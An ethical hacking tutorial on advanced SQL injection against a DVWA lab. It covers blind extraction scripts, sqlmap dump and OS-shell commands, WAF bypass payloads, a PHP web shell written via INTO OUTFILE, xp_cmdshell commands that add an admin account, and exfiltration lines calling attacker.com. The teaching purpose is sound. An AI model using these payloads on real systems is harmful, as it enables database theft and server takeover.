Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases

What will I learn

• Blind SQL injection techniques: boolean-based and time-based data extraction;
• Second-order injection: injecting now, triggering later in a different context;
• sqlmap: the industry-standard automated SQL injection tool;
• Out-of-band extraction: DNS and HTTP exfiltration of data;
• Privilege escalation via SQL: reading files, writing web shells, command execution;
• WAF bypass techniques for SQL injection payloads.

Requirements

• A working modern computer running macOS, Windows or Ubuntu;
• Your hacking lab from Episode 2 (Kali + DVWA);
• sqlmap (pre-installed on Kali);
• Python 3 with the requests library;
• The ambition to learn ethical hacking and security research.

Difficulty

• Intermediate

Curriculum (of the Learn Ethical Hacking series):

• Learn Ethical Hacking (#1) - Why Hackers Win
• Learn Ethical Hacking (#2) - Your Hacking Lab
• Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers
• Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed
• Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface
• Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster
• Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher
• Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human
• Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)
• Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit
• Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection
• Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die
• Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases (this post)

Solutions to Episode 12 Exercises

Exercise 1 -- Full DVWA SQL injection chain:

Attack chain results:
1. Confirmed injection: 1' triggers SQL error
2. Extracted all users with: 1' OR '1'='1
3. Column count: 2 (ORDER BY 3 errors)
4. Database info: 1' UNION SELECT user(), database() -- -
   -> root@localhost, dvwa
5. Tables: guestbook, users
6. Extracted: 1' UNION SELECT user, password FROM users -- -

Cracked MD5 hashes (using john --format=raw-md5):
  admin:password
  gordonb:abc123
  1337:charley
  pablo:letmein
  smithy:password

5/5 cracked in under 10 seconds with rockyou.txt.
All passwords in the top 10,000 most common.

The key insight: the complete attack chain (SQLi -> hash extraction -> cracking -> full access) took under 5 minutes total. This is why SQL injection is rated Critical -- it's not just data disclosure, it's typically full database compromise. And remember episode 7 on passwords -- these MD5 hashes had zero salting, zero iterations. The weakest possible storage for credentials that are themselves in the top 10,000 most common passwords. Double failure.

Exercise 2 -- Blind injection detection:

import requests

def detect_blind_sqli(url, param, cookies=None):
    true_payload = "1' AND 1=1 -- -"
    false_payload = "1' AND 1=2 -- -"

    r_true = requests.get(url, params={param: true_payload},
                         cookies=cookies, timeout=10)
    r_false = requests.get(url, params={param: false_payload},
                          cookies=cookies, timeout=10)

    len_diff = abs(len(r_true.text) - len(r_false.text))

    if len_diff > 50:  # significant difference
        print(f"[+] Blind SQLi likely! Response difference: {len_diff} bytes")
        print(f"    True condition:  {len(r_true.text)} bytes")
        print(f"    False condition: {len(r_false.text)} bytes")
    else:
        print(f"[-] No blind SQLi detected (difference: {len_diff} bytes)")

The key insight: blind injection exploits the fact that TRUE and FALSE conditions produce different server behavior -- even when no data is directly visible. The application's "presence or absence of results" IS the data channel. This is the same concept we'll expand into full data extraction today.

Exercise 3 -- Vulnerable vs secure Flask app:

# vulnerable_app.py
from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/user')
def get_user():
    uid = request.args.get('id', '')
    conn = sqlite3.connect('test.db')
    # VULNERABLE: string concatenation
    result = conn.execute(
        f"SELECT * FROM users WHERE id = '{uid}'"
    ).fetchall()
    return str(result)

# secure_app.py -- same functionality, parameterized
@app.route('/user_safe')
def get_user_safe():
    uid = request.args.get('id', '')
    conn = sqlite3.connect('test.db')
    # SECURE: parameterized query
    result = conn.execute(
        "SELECT * FROM users WHERE id = ?", (uid,)
    ).fetchall()
    return str(result)

# Test: curl "localhost:5000/user?id=1' OR '1'='1"
# Vulnerable: returns all users
# Secure: returns empty (no user with ID "1' OR '1'='1")

The key insight: identical functionality, one character difference (? vs {uid}), fundamentally different security posture. The parameterized version treats the entire input as a literal value, never as SQL code. This is what we called an "architectural fix" in episode 12 -- the parser literally cannot be confused.

---

Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases

Last episode you extracted an entire user table from DVWA in seven steps. You saw error messages, visible output, clear feedback at every stage. That was the easy mode. Real-world applications are not usually that generous.

Today we go deeper. What happens when the application shows you nothing? No query results. No error messages. Just "user found" or "user not found." Turns out that's still enough to extract the entire database -- it just takes more patience and the right technique. We're also bringing in sqlmap for automation, diving into file system access through SQL, and learning how to get past the Web Application Firewalls that try to stop all of this.

Think of last episode as learning to pick a lock with the door wide open so you can see the mechanism. Today we're doing it blindfolded.

Hier we gaan.

Blind SQL Injection: Extracting Data One Bit at a Time

Imagine the application doesn't show query results OR error messages. All you get back is a page that says "user found" or an empty page. No data, no errors. Seems secure, right?

Not even close. If the application behaves differently depending on whether the injected condition is true or false, you have a data channel. A slow, painful, one-bit-at-a-time data channel -- but a data channel none the less.

Boolean-based blind extraction works by asking the database yes-or-no questions about the data you want to steal. "Is the first character of the database name equal to 'a'?" If the page shows a result: yes. If the page is empty: no. Move on to 'b'. Repeat for every character, every position. Here's the full extractor:

#!/usr/bin/env python3
"""
Boolean-based blind SQL injection data extractor.
Extracts data one character at a time by observing page differences.
"""
import requests
import string
import sys

TARGET = "http://192.168.56.101/dvwa/vulnerabilities/sqli_blind/"
COOKIES = {'PHPSESSID': 'your_session', 'security': 'low'}

# Something that appears in the response when the condition is true
TRUE_MARKER = "exists in the database"

def is_true(payload):
    """Send payload and check if the condition evaluated to true."""
    resp = requests.get(TARGET, params={'id': payload, 'Submit': 'Submit'},
                       cookies=COOKIES, timeout=10)
    return TRUE_MARKER in resp.text

def extract_string(injection_template, max_length=64):
    """Extract a string character by character using blind injection."""
    result = ""
    for pos in range(1, max_length + 1):
        found = False
        for char in string.printable[:95]:  # printable ASCII
            payload = injection_template.format(pos=pos, char=ord(char))
            if is_true(payload):
                result += char
                sys.stdout.write(char)
                sys.stdout.flush()
                found = True
                break
        if not found:
            break  # no more characters
    print()
    return result

# Extract database name
print("[*] Extracting database name:")
db_name = extract_string(
    "1' AND ASCII(SUBSTRING(database(),{pos},1))={char} -- -"
)
print(f"[+] Database: {db_name}")

# Extract table names
print("\n[*] Extracting first table name:")
table = extract_string(
    "1' AND ASCII(SUBSTRING((SELECT table_name FROM "
    "information_schema.tables WHERE table_schema=database() "
    "LIMIT 0,1),{pos},1))={char} -- -"
)
print(f"[+] Table: {table}")

# Extract column names from that table
print("\n[*] Extracting first column name:")
column = extract_string(
    "1' AND ASCII(SUBSTRING((SELECT column_name FROM "
    "information_schema.columns WHERE table_name='users' "
    "LIMIT 0,1),{pos},1))={char} -- -"
)
print(f"[+] Column: {column}")

This is slow. For a 20-character string, that's up to 1,900 requests (95 printable characters x 20 positions). Each request takes maybe 100ms, so a single 20-char string takes about 3 minutes. Extracting a full table with 100 rows? Hours. But it works. And that's what matters when you're staring at a completely blind endpoint.

Optimizing with binary search cuts the request count dramatically:

def extract_char_binary(injection_template, pos):
    """Extract one character using binary search -- 7 requests max
    instead of 95."""
    low, high = 32, 126  # printable ASCII range
    while low < high:
        mid = (low + high) // 2
        # Test: is the ASCII value > mid?
        gt_payload = injection_template.format(pos=pos, char=mid)
        gt_payload = gt_payload.replace(f"={mid}", f">{mid}")
        if is_true(gt_payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_string_fast(injection_template, max_length=64):
    """Extract string using binary search for each character."""
    result = ""
    for pos in range(1, max_length + 1):
        # First check if there even is a character at this position
        check = injection_template.format(pos=pos, char=0)
        check = check.replace("=0", ">0")
        if not is_true(check):
            break
        char = extract_char_binary(injection_template, pos)
        result += char
        sys.stdout.write(char)
        sys.stdout.flush()
    print()
    return result

Binary search reduces the worst case from 95 requests per character to 7. For that 20-character string: 140 requests instead of 1,900. A 13x speedup. For a full database dump, that's the difference between "overnight" and "lunch break." The math is just log2(95) -- basic binary search applied to ASCII character guessing ;-)

Time-Based Blind Injection

Boolean-based blind injection needs the page to look different for true vs false. But what if the application returns the exact same page regardless? Same content, same headers, same response length. This happens more often than you'd think -- applications that catch all exceptions and return a generic page, APIs that always return {"status": "ok"}, error handlers that swallow everything.

For these cases, we abuse the one thing we can always observe from outside: time.

-- If the first character of the database name is 'd', wait 5 seconds
1' AND IF(ASCII(SUBSTRING(database(),1,1))=100, SLEEP(5), 0) -- -

import time

def is_true_time(payload, threshold=4):
    """Detect true condition via response delay."""
    start = time.time()
    try:
        requests.get(TARGET, params={'id': payload, 'Submit': 'Submit'},
                    cookies=COOKIES, timeout=15)
    except requests.Timeout:
        return True  # timed out = sleep executed = condition was true
    elapsed = time.time() - start
    return elapsed > threshold

# Extract database name one character at a time via timing
print("[*] Time-based extraction (slow!):")
for pos in range(1, 20):
    for char_code in range(32, 127):
        payload = (f"1' AND IF(ASCII(SUBSTRING(database(),"
                   f"{pos},1))={char_code}, SLEEP(5), 0) -- -")
        if is_true_time(payload):
            sys.stdout.write(chr(char_code))
            sys.stdout.flush()
            break

Time-based blind is the slowest injection technique. 5 seconds per test, 95 possible characters per position -- a single character takes up to 475 seconds in the worst case. Even with binary search optimization, it's roughly 35 seconds per character. A full database dump could take days.

But it works against nearly every database backend. MySQL uses SLEEP(). PostgreSQL has PG_SLEEP(). MSSQL has WAITFOR DELAY '0:0:5'. Oracle has DBMS_LOCK.SLEEP (if the user has EXECUTE on DBMS_LOCK) or heavy queries that take measurable time. And time-based blind works when absolutely nothing else does -- no visible output, no error differences, no response length changes. The timing side-channel is always there because the network is real and latency is measurable.

This is, by the way, the exact same principle behind timing attacks in cryptography that we discussed in episode 9. Measuring how long something takes reveals information that was supposed to stay hidden. The universe leaks data through time whether we like it or not.

sqlmap: When Manual Gets Tedious

sqlmap is the industry-standard SQL injection tool. It automates everything we just did manually -- detection, exploitation, data extraction, privilege escalation -- and does it better than most humans can by hand. It ships pre-installed on Kali Linux and it's what you'll see used in real penetration tests.

# Basic scan -- detects injection type automatically
sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=your_session; security=low"

# Enumerate all databases on the server
sqlmap -u "..." --cookie="..." --dbs

# List tables in a specific database
sqlmap -u "..." --cookie="..." -D dvwa --tables

# Dump the entire users table
sqlmap -u "..." --cookie="..." -D dvwa -T users --dump

# The nuclear option: dump EVERYTHING
sqlmap -u "..." --cookie="..." --dump-all

What sqlmap does internally:

1. Tests multiple injection types (UNION, error-based, boolean blind, time blind, stacked queries)
2. Identifies the database engine (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
3. Enumerates the entire schema through information_schema
4. Extracts data with optimized techniques (binary search for blind, multithreaded for speed)
5. Attempts file read/write through the database engine
6. Tries OS command execution if the database supports it

Here's the full automated dump against DVWA:

sqlmap -u "http://192.168.56.101/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123; security=low" \
  -D dvwa -T users --dump --batch

The --batch flag auto-accepts all interactive prompts. sqlmap will detect the injection, fingerprint MySQL, dump the users table, and even attempt to crack the password hashes using its built-in dictionary attack. On a typical DVWA setup, the entire process takes maybe 30 seconds. What took us seven manual steps in episode 12 and a Python script in the exercises -- sqlmap does in one command.

Having said that, I want to stress something: learn the manual techniques before touching sqlmap. If you just run sqlmap without understanding what it's doing underneath, you'll be useless when it fails. And it does fail. Custom applications with non-standard parameters, WAFs that block sqlmap's fingerprint, injection points in JSON bodies or HTTP headers that need manual configuration. When the tool doesn't work out of the box, you need to understand the mechanics to debug it. That's why we spent episode 12 and the first half of this episode on manual extraction.

Out-of-Band Extraction: The Sneaky Way

Sometimes you can't get data through the normal HTTP response at all. The application is completely blind, time-based is too slow, and you need the data faster. Enter out-of-band (OOB) extraction -- making the database server send data to a server you control through a side channel.

DNS exfiltration (MySQL on Windows with FILE privilege):

1' UNION SELECT LOAD_FILE(CONCAT('\\\\',
  (SELECT database()),'.attacker.com\\share')) -- -

What happens: MySQL tries to load a file from a UNC path. The operating system resolves the DNS name dvwa.attacker.com -- and that DNS query hits the attacker's DNS server. The database name (dvwa) is embedded in the DNS lookup. Check your DNS logs, read the data. No HTTP response needed.

This works because DNS queries happen at the OS level, outside the application's control. The database engine asks the OS to resolve a hostname, and the OS dutifully sends a DNS packet containing your exfiltrated data. Firewalls almost never block outbound DNS (port 53) because blocking DNS breaks literally everything. That makes it an extremely reliable exfiltration channel.

HTTP exfiltration (if the database can make HTTP requests):

-- PostgreSQL with dblink extension
1'; SELECT dblink_connect('host=attacker.com dbname=' ||
  (SELECT current_database())); -- -

-- MSSQL with xp_cmdshell
1'; EXEC xp_cmdshell('curl http://attacker.com/?data=' +
  (SELECT TOP 1 password FROM users)); -- -

In sqlmap, out-of-band is configured with --dns-domain for DNS exfiltration, or you can use the --os-shell and --os-cmd options which also leverage OOB techniques internally.

Beyond Data: File Access and Command Execution

If the database user has the right privileges, SQL injection stops being a "data breach" and becomes a full system compromise. This is where it gets properly scary.

Reading files (MySQL with FILE privilege):

1' UNION SELECT LOAD_FILE('/etc/passwd'), NULL -- -

On DVWA (running as root MySQL user), this returns the entire /etc/passwd file. You now know every user account on the system. Try it yourself -- the output should show root, www-data, mysql, and all service accounts. From there, you know which accounts exist and can target them specifically.

Writing files -- this is the big one:

1' UNION SELECT "<?php system($_GET['cmd']); ?>", NULL
  INTO OUTFILE '/var/www/html/shell.php' -- -

If this succeeds (requires FILE privilege AND write permissions on the web root), you just deployed a web shell. Browse to http://target/shell.php?cmd=whoami and you have command execution on the server. From SQL injection to remote code execution in two queries.

In sqlmap, the same escalation path:

# Read a specific file from the server
sqlmap -u "..." --cookie="..." --file-read="/etc/passwd"

# Write a file to the server
sqlmap -u "..." --cookie="..." \
  --file-write="local-shell.php" \
  --file-dest="/var/www/html/shell.php"

# Try to get an interactive OS shell directly
sqlmap -u "..." --cookie="..." --os-shell

MSSQL is even more dangerous because of xp_cmdshell:

-- Enable xp_cmdshell (if you have sysadmin privileges)
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- -
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- -

-- Execute OS commands directly through SQL
'; EXEC xp_cmdshell 'net user hacker Password123! /add'; -- -
'; EXEC xp_cmdshell 'net localgroup administrators hacker /add'; -- -

Two SQL statements and you've created an admin account on the Windows server. This is why pentesters get excited when they find SQL injection on an MSSQL backend -- the escalation path to full system access is direct and well-documented. I've seen this exact chain work on real engagments, and it's always both terrifying and slightly hilarious how fast it goes from "parameter tampering" to "domain admin" ;-)

WAF Bypass Techniques

Web Application Firewalls try to block SQL injection by inspecting HTTP traffic for known malicious patterns. They look for keywords like UNION, SELECT, DROP, and suspicious characters like single quotes. But WAFs have a fundamental problem: they're trying to understand SQL syntax in HTTP parameters, which is an incomplete approximation. The database parser is always the authority on what constitutes valid SQL. When the WAF and the database disagree, the WAF loses.

Common bypass techniques:

-- Case manipulation (WAF blocks "UNION SELECT"
-- but maybe not "UnIoN SeLeCt")
1' UnIoN SeLeCt user, password FROM users -- -

-- Comment-based obfuscation (break up keywords)
1' UN/**/ION SEL/**/ECT user, password FR/**/OM users -- -

-- URL encoding (bypass pattern matching on raw strings)
1' %55NION %53ELECT user, password FROM users -- -

-- Double URL encoding (if the app decodes input twice)
1' %2555NION %2553ELECT user, password FROM users -- -

-- No-space variants (use comments as whitespace)
1'/**/UNION/**/SELECT/**/user,password/**/FROM/**/users-- -

-- Inline comments with MySQL version check
1' /*!50000UNION*/ /*!50000SELECT*/ user,password FROM users -- -

-- Alternative string building (avoid quoted strings in payload)
1' UNION SELECT user, password FROM users WHERE user=CHAR(97,100,109,105,110) -- -

The inline comment trick /*!50000UNION*/ is MySQL-specific and clever. MySQL executes code inside /*!NNNNN ... */ only if the server version is >= NNNNN. So /*!50000UNION*/ executes UNION on MySQL 5.0+. To a WAF that doesn't understand MySQL's comment syntax, it looks like a comment. To MySQL, it's valid SQL.

sqlmap has built-in tamper scripts for WAF bypasses:

# Use tamper scripts to encode/obfuscate payloads
sqlmap -u "..." --tamper=space2comment,between,randomcase

# Available tamper scripts (partial list):
#   space2comment   -- replaces spaces with /**/
#   between         -- replaces > with NOT BETWEEN 0 AND
#   randomcase      -- randomizes keyword casing
#   charencode      -- URL-encodes all characters
#   equaltolike     -- replaces = with LIKE

Here's the reality though: WAFs are a defense-in-depth layer, not a fix. The actual fix is parameterized queries, as we covered in episode 12. A WAF is like putting a guard at the door of a house where the windows are open. It makes things harder for the attacker, it catches automated scans and script kiddies, but a determined attacker with knowledge of the WAF's blind spots will get through. And every WAF has blind spots because the problem of perfectly parsing SQL inside HTTP is fundamentally unsolvable -- you'd need a complete SQL parser for every database backend, running on every request, and even then edge cases exist.

Second-Order Injection: The Patient Attack

Second-order injection (also called stored injection) is when you inject a payload into the database now, but it doesn't trigger until the stored data is used in a different query later. This is the advanced form I briefly mentioned at the end of episode 12. Now let's examine it properly.

The classic scenario:

1. Attacker registers a username: admin'-- -
2. The registration form uses parameterized queries (secure!). The username is stored literally as the string admin'-- - in the database. No injection happens at registration time.
3. Later, an admin panel loads usernames from the database and uses them in a new query -- but this time with string concatenation instead of parameters:

# Registration (parameterized -- safe)
cursor.execute("INSERT INTO users (username, email) VALUES (%s, %s)",
              (username, email))

# Later, in a different part of the application...
# Password change function (VULNERABLE -- uses stored data unsafely)
stored_user = get_current_username()  # returns "admin'-- -" from DB
cursor.execute(
    f"UPDATE users SET password = '{new_hash}' "
    f"WHERE username = '{stored_user}'"
)
# Becomes: UPDATE users SET password = 'abc...' WHERE username = 'admin'-- -'
# The -- comments out everything after 'admin'
# Result: changes the ADMIN's password, not the attacker's!

The attacker registered, waited, changed their own password through the normal password-change flow -- and the stored payload changed the admin's password instead. No injection scanner would have caught this because the injection point (registration) and the trigger point (password change) are entirely separate parts of the application. The registration form is secure. The password change is vulnerable. But the vulnerability only manifests when specific stored data reaches the vulnerable code path.

Second-order injection is hard to detect with automated tools because the payload doesn't trigger immediately. It requires understanding the application's data flow -- where does input get stored, where does it get retrieved, and is every retrieval point treating the stored data as untrusted? Most developers parameterize the "input boundary" (forms, API endpoints) but then trust data pulled from their own database. The assumption "it came from our database, so it's safe" is exactly what second-order injection exploits.

This is why secure coding guidelines say to parameterize EVERY query, not just the ones that directly handle user input. If the data originally came from outside the system (and almost all data did, at some point), it should never be concatenated into SQL strings regardless of where it was stored in between.

DVWA at Higher Security Levels

DVWA's security settings simulate increasingly realistic defenses. Let's see what changes:

Medium security switches the SQL injection page from GET to POST and adds mysql_real_escape_string(), which escapes special characters. But the numeric ID field doesn't use quotes in the query:

// Medium security
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

No quotes around $id means no need to break out of a string. The injection doesn't need quotes at all:

1 OR 1=1
1 UNION SELECT user, password FROM users

The escaping function is useless here because it only escapes string delimiters -- and the query doesn't use string delimiters for this parameter. This is a common mistake: applying the wrong defense to the wrong context. The developer thought "I escaped the input, so it's safe." But escaping single quotes only helps if the value is inside single quotes in the query. If it's a bare numeric value, you bypass the defense entirely by... just not using quotes ;-)

High security adds a LIMIT 1 clause and uses a session-based input mechanism. The query becomes:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1";

The LIMIT 1 restricts output to one row. But UNION-based injection still works -- the LIMIT applies to the original query, not the UNION:

1' UNION SELECT user, password FROM users -- -

The -- - comments out the LIMIT 1. All rows returned. The session-based input makes automated scanning harder (the vulnerable parameter isn't in the URL), but a manual attacker using Burp Suite can intercept and modify the POST request just as easily.

The point of DVWA's security levels isn't that they eventually become unbreakable -- the vulnerable query is ALWAYS injectable because it uses string concatenation. The security levels demonstrate that band-aids (escaping, LIMIT clauses, POST instead of GET) don't fix the underlying architecture problem. Only parameterized queries do.

Exercises

Exercise 1: Use sqlmap to perform a complete automated attack against DVWA's SQL injection page (security: low). Extract: all database names, all tables in the dvwa database, and the complete users table with cracked passwords. Save the full sqlmap output to ~/lab-notes/sqlmap-dvwa.txt. Then change DVWA security to Medium and try again -- does sqlmap still work? What changes in its approach? Document the differences in ~/lab-notes/sqlmap-medium-vs-low.md.

Exercise 2: Implement the binary-search optimized blind SQL injection extractor from this episode. Use it to extract through DVWA's blind SQL injection page: (a) the database name, (b) the first table name, (c) the first column name of that table. Count the total HTTP requests needed and compare with the naive linear-search approach. How much faster is binary search in practice? Save your script as ~/pentest-tools/blind-sqli-binary.py.

Exercise 3: Research and document three real-world SQL injection breaches that occurred after 2020. For each, describe: what was the injection point (parameter, API endpoint, etc.), what data was extracted, what the CVSS score was if assigned, and what the fix was. Then write a short analysis: why are SQL injection breaches STILL happening despite parameterized queries being available since the early 2000s? Save your analysis in ~/lab-notes/sqli-still-happening.md.

---

Thx again for reading and your support!

@scipio